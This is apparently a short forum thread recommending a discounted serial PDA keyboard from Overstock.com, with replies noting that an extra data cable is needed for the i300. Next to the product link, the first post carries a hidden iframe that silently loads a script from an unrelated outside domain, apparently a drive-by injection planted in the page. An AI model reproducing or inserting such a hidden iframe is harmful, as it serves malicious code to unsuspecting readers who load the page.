If anyone's interested, Overstock.com is offering the Micro TKB200U EasyKey Serial PDA Keyboard at the link noted below for only $30.99.

http://www.overstock.com/cgi-bin/d2....&PROD_ID=39183<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

I've only heard of people being able to get this keyboard to work with the I300 using the optional data cable, not the serial cradle, meaning an extra expense.

That's correct, you will need the additional cable. However, the combination of the two will offer a better alternative to the "Thumb" keyboards, in my opinion.